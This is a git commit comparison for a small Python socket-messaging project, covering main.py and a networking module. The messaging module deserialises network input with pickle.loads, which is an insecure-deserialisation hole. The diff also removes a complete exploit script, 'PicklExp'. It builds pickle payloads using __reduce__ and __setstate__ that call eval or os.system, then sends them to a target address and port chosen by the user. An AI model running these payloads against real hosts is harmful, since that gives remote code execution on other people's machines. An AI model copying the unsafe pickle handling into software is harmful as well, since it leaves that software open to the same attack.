Compare commits

..

No commits in common. "a99a207c34a7768ee06dd9133d1402e4aa02f408" and "b28c9925b9f5fe82f5ed0106701bbe70ad321483" have entirely different histories.

3 changed files with 17 additions and 131 deletions

13
main.py
View File

@ -2,7 +2,7 @@
import networker as net
import sys
from threading import Thread
#import traceback
import traceback
translators = (net.PickleTranslate(), net.JSONTranslate())
@ -13,13 +13,6 @@ conn = None
allowFiles = False
log = []
def listAsTypes(lin):
toret = "["
for x in lin:
toret += str(type(x)) + ", "
toret = toret[:-2]
return toret + "]"
def onConn(addr):
log.append(addr + " # Connection Established")
@ -110,7 +103,7 @@ def main():
except Exception as e:
print("Command Error!")
#print(traceback.format_exc())
print(traceback.format_exc())
exit
@ -127,7 +120,7 @@ if __name__ == "__main__":
if len(sys.argv) > 3:
translator = translators[int(sys.argv[3]) - 1]
else:
translator = translators[int(input("Enter the message translator position " + listAsTypes(translators) + " : ")) - 1]
translator = translators[int(input("Enter the message translator position " + str(translators) + " : ")) - 1]
main()

View File

@ -5,7 +5,7 @@ import socket
import time
from threading import Thread
import base64
#import traceback
import traceback
#Defines a message class that has a type, header and a body.
class Message:
@ -15,30 +15,25 @@ class Message:
self.header = header
if mtype == MTYPE_File:
try:
f = open(header, "rb")
f = open(header, "r")
try:
self.content = f.read()
self.content = str(f.read())
except:
print("An issue writing the message for \"" + self.header + "\" occured.")
f.close()
except:
print("An issue when opening a file for reading: \"" + self.header + "\" occured.")
#print(traceback.format_exc())
else:
self.content = content
def saveContent(self):
if self.mtype != MTYPE_File: pass
try:
f = open(str(self.header), "wb")
f = open(str(self.header), "w")
try:
if type(self.content) == bytes or type(self.content) == bytearray:
f.write(bytes(self.content))
else:
f.write(bytes(self.content, encoding='utf-8'))
except:
print("An issue writing the message for \"" + str(self.header) + "\" occured.")
#print(traceback.format_exc())
f.close()
except:
print("An issue when opening a file for writing: \"" + str(self.header) + "\" occured.")
@ -47,7 +42,7 @@ class Message:
toReturn = {"mtype":self.mtype, "header":self.header, "ident__":"Message"}
if type(self.content) == bytes or type(self.content) == bytearray:
toReturn["contentb64"] = True
toReturn["content"] = base64.b64encode(bytes(self.content)).decode('utf-8')
toReturn["content"] = base64.b64encode(bytes(self.content)).decode()
else:
toReturn["contentb64"] = False
toReturn["content"] = self.content
@ -74,13 +69,13 @@ class PickleTranslate:
try:
return pickle.dumps(m)
except:
#print(traceback.format_exc())
print(traceback.format_exc())
return None
def fromString(self, b):
try:
return pickle.loads(b)
except:
#print(traceback.format_exc())
print(traceback.format_exc())
return None
#JSON Translator for Message to and from bytes.
@ -89,13 +84,13 @@ class JSONTranslate:
try:
return json.dumps(m.toDict())
except:
#print(traceback.format_exc())
print(traceback.format_exc())
return None
def fromString(self, b):
try:
return MessageFromDict(json.loads(b))
except:
#print(traceback.format_exc())
print(traceback.format_exc())
return None
#Connection class
@ -105,19 +100,14 @@ class Connection:
threads = dict()
actives = dict()
def __init__(self, binder, translator, onconn, onrecv, onend):
if binder != None:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.bind(binder)
self.socket.listen(8)
else:
self.socket = None
self.translator = translator
self.onconn = onconn
self.onrecv = onrecv
self.onend = onend
def listener(self):
if self.socket == None:
return
while self.active:
s, a = self.socket.accept()
ac = a[0] + ":" + str(a[1])
@ -203,7 +193,7 @@ class Connection:
break
time.sleep(0.0001)
self.threads.clear()
if self.socket != None: self.socket.close()
self.socket.close()
def addresses(self):
if self.active:

View File

@ -1,97 +0,0 @@
#BSD 3-Clause, (C) Alfred Manville 2022
#Be RESPONSIBLE when using this!
import networker as net
import pickle
import sys
#import traceback
#Payloads:
#State payloads only work if the Object is available at the target
class ExpBase:
def __init__(self, data):
self.data = data
class StateBase(ExpBase):
def __getstate__(self):
return self.data
class StatePXP(StateBase):
def __setstate__(self, state):
self.data = state
print(self.data)
class ReducePXP(ExpBase):
def __reduce__(self):
return print, (self.data,)
class StateEXP(StateBase):
def __setstate__(self, state):
self.data = state
eval(self.data)
class ReduceEXP(ExpBase):
def __reduce__(self):
return eval, (self.data,)
class ReduceSXP(ExpBase):
def __reduce__(self):
import os
return os.system, (self.data,)
def listAsTypes(lin):
toret = "["
for x in lin:
toret += str(type(x)) + ", "
toret = toret[:-2]
return toret + "]"
payloads = (StatePXP(""), ReducePXP(""), StateEXP(""), ReduceEXP(""), ReduceSXP(""))
payload = None
taddr = ""
tport = 0
plid = 0
pldata = ""
def onx(a):
pass
def ony(a, m):
pass
def main():
conn = net.Connection(None, net.PickleTranslate(), onx, ony, onx)
print("Running Exploit @ " + taddr + ":" + str(tport))
print("Exploit: " + str(type(payload)) + " ; Data: " + pldata)
try:
conn.connect((taddr, tport))
print("Exploiting...")
conn.send(taddr+":"+str(tport), payload)
print("Exploited!")
except:
#print(traceback.format_exc())
pass
conn.close()
exit
if __name__ == "__main__":
print("Python PicklExp (C) Alfred Manville 2022 BSD-3-Clause")
if len(sys.argv) > 1:
taddr = sys.argv[1]
else:
taddr = input("Enter the target address: ")
if len(sys.argv) > 2:
tport = int(sys.argv[2])
else:
tport = int(input("Enter the target port: "))
if len(sys.argv) > 3:
plid = int(sys.argv[3]) - 1
else:
plid = int(input("Enter the payload position " + listAsTypes(payloads) + " : ")) - 1
if len(sys.argv) > 4:
pldata = sys.argv[4]
else:
pldata = input("Enter the payload data: ")
payload = payloads[plid]
payload.data = pldata
main()